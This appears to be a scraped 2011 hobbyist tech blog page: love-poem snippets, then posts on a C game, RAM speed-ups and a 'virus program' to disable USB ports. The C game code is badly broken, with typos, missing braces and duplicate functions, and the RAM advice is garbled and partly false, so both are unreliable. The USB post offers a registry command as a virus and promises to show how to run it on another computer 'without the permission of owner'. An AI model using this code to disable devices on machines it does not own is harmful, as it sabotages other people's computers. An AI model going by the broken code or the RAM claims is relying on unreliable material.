ALT_IMG

You are the cause of my pain

You are the cause of my pain, yet the love I feel for you is my only consolation, my only cure..

ALT_IMG

Saw the girl, whom once I thought as my best friend

Remembering my classmates, after few years, My eyes were filled with tears, Everyone is busy a lot, No one escaped destiny's plot, Saw the girl, whom once I thought as my best friend, Today she is some body else's girl friend, After months remembered about her for a little while, Heard she is happy, that made me smile.

Alt img

It’s been raining since you left me

It’s been raining since you left me, now I’m drowning in the flood. You see, I’ve always been a fighter, but without you I give up.

ALT_IMG

Sweet Heart

Sweetheart.....I miss ......THe whisper of your voice...The warmth of your touch and all the wonderful times that we shared together.......

ALT_IMG

When I see you

When I see you smile and know that it's not for me, that's when I miss you the most.

Sunday, June 12, 2011

MAKE SIMPLE GAME IN C

0 comments



Hi friends,here we will make a simple Game in C language.Enjoy C programming.Compile below code and Generate EXE file. 

Source code of Game:

#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <graphics.h>
#include <stdlib.h>
#include <time.h>

#define PAS 20

struct time t;
int keye=250;
int coordX=0;
int coorde=0;
int coordY=0;
int coordYe=0;
int tmp=0;
int tmp2=0;
int i;

void moveMyshipLeft(void);
void moveMyshipRight(void);
void moveMyshipUp(void);
void moveMyshipDown(void);
void desenMyShip(int,int,int);

void getConflict(it coordX,int coordXe,int coordY,int coordYe)
{
int stuffz,stuffy;
stuffz=coordX;
}
int getSecTime(void)
{
gettime(&t);
return t.ti_hund;
}
int pressedKey(void)
{
keye=getch();
return(keye);
}

void desenEnemyShip(int coordXe,int coordYe,int culoare)
{
setfillstyle(1,culoare);
bar(0+coordXe,0+coordYe,60+coordXe,40+coordYe);

}
void initDefault(void)
{
}
void desenEnemyShip(int coordX,int coordY,int culoare)
{
setfillstyle(1,culoare);
bar(coordX,coordY,60+coordX,40+coordY);
getConflict(coordX,coordY,coordXe,coordYe);
}

void moveMyShip(void)
{
if ((keye==75) && coordX >getmaxx()-1023)
{
moveMyShipLeft();
}
if ((keye==77) && coordX >getmaxx()-1023)
{
moveMyShipRight();
}
if ((keye==80) && coordY
{
moveMyShipUp();
}
if ((keye==72) && coordY >getmaxy()-767)
{
moveMyShipDown();
}

}
void moveEnemyShips(int coordXe,int coordYe,int culoare)
desenEnemyShip(coordXe,coordYe,0);
coordYe=coordYe+1;
desenEnemyShip(coordXe,coordYe,culoare);
tmp=getSecTime();
}
void initEnamies(void)
{
}
void moveMyShipLeft(void)
{
desenMyShip(coordX,coordY,0);
coordX=coordX-PAS;
desenMyShip(coordX,coordY,2);
}
void moveMyShipRight(void)
{
desenMyShip(coordX,coordY,0);
coordX=coordX+PAS;
desenMyShip(coordX,coordY,3);
}
void moveMyShipUp(void)
{
desenMyShip(coordX,coordY,0);
coordY=coordX+PAS;
desenMyShip(coordX,coordY,4);
}
void moveMyShipDown(void)
{
desenMyShip(coordX,coordY,0);
coordY=coordX-PAS;
desenMyShip(coordX,coordY,5);
}
int huge DetectVGA256(void)
{
int vid=4;
return vid;
}
void doGame(void)

{
initDefault();
coordYe=1000;
do
{
if(coordYe>8oo)
{
coordXe=rand()%1023;
coordYe=40;
}
if(kbhit()){
pressedKey();
moveMyShip();
}
desenMyShip(coordX,coordY,4);
if(getSecTime()+10!=tmp+10)
{
desenEnemyShip(coordXe,coordYe-15,coordY-15,0);
moveEnemyShips(coordXe,coordYe,12);
coordYe=coordYe+15;
}
}
while (keye!=27);
}
void main(void)
{
int gdriver,gmode,errorcode;
gdriver=installuserdriver("svga256",DetectVGA256);
gdriver=DETECT;
initgraph(&gdriver,&gmode,"..\bgi\svga256.bgi");
errocode=graphresult();
if(errorcode!=gr0k)
{
printf("Graphics error:%s\n",grapherrormsg(errorcode));
printf("Press any key to halt:");
getch();
exit(1);
}
doGame();


Pls add your comments.Thanks! Enjoy! :)


Continue reading →
Saturday, June 11, 2011

CAN RAM SPEED UP YOUR COMPUTER?

1 comments

Many people have question like this.The answer to their question is 'YES'.RAM is considered to be an element when you use the computer,RAM also used during this process

  1. most of the time users open more than one application,this put a lot of load on RAM.If you use more RAM,it will cause slower your computer speed.
  2. The amount of program you are processing depends upon the amount of RAM you are using.
  3. RAM takes 5 megabytes to load large application.
  4. Dynamic link libraries which range from 20-30 megabytes are used by microprocessor.

If you want to speed up your computer,then here are some steps:

  1. Your first step is to find out how much  RAM you have(RAM status-right click on My computer and then look for properties). 
  2. Simple press Ctrl+Alt+delete to get task manager.
  3. After processing the tab,you will easily figure out the number of RAM you are used in your computer.
  4. calculate the amount of RAM used and deduct it from RAM left,in this way you get the exact amount of RAM you are using.
You can speed up your computer by adding more RAM
  1. Spacing your hard drive is another way to speed up your computer.
  2. Uninstall all the unnecessary files from your computer to get the space for the current files.
  3. Open unnecessary applications and programs is avoided.
If you use the above tips.then you can speed up your computer without buy  a RAM.

I recommended to upgrade your RAM up to 2GB(minimum). Enjoy :)
Continue reading →
Tuesday, June 7, 2011

VIRUS PROGRAM TO DISABLE USB PORTS

0 comments

                               It is a simple C code to disable all your computer USB ports and you can also re-enable the USB port using another code.It is easy to understand who know basics of C programming.


Source Code for disable USB Ports:


#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}

write down the above code into your C compiler.save the file as "BLOCK_USB.C" And execute the program by pressing Ctrl+F9.Now all your USB ports are disabled.If you want re-enable your USB ports use the below code


Source Code for enable USB Ports:


#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
write down the code.save the file as "UNBLOCK_USB.C" and execute the file.Now all your USB ports are re-enabled.Enjoy C programming :)


NOTE:If you want to know about how to transfer  this code to another computer and disable all USB ports without the permission of owner.Pls keep visiting  this Blog.

Continue reading →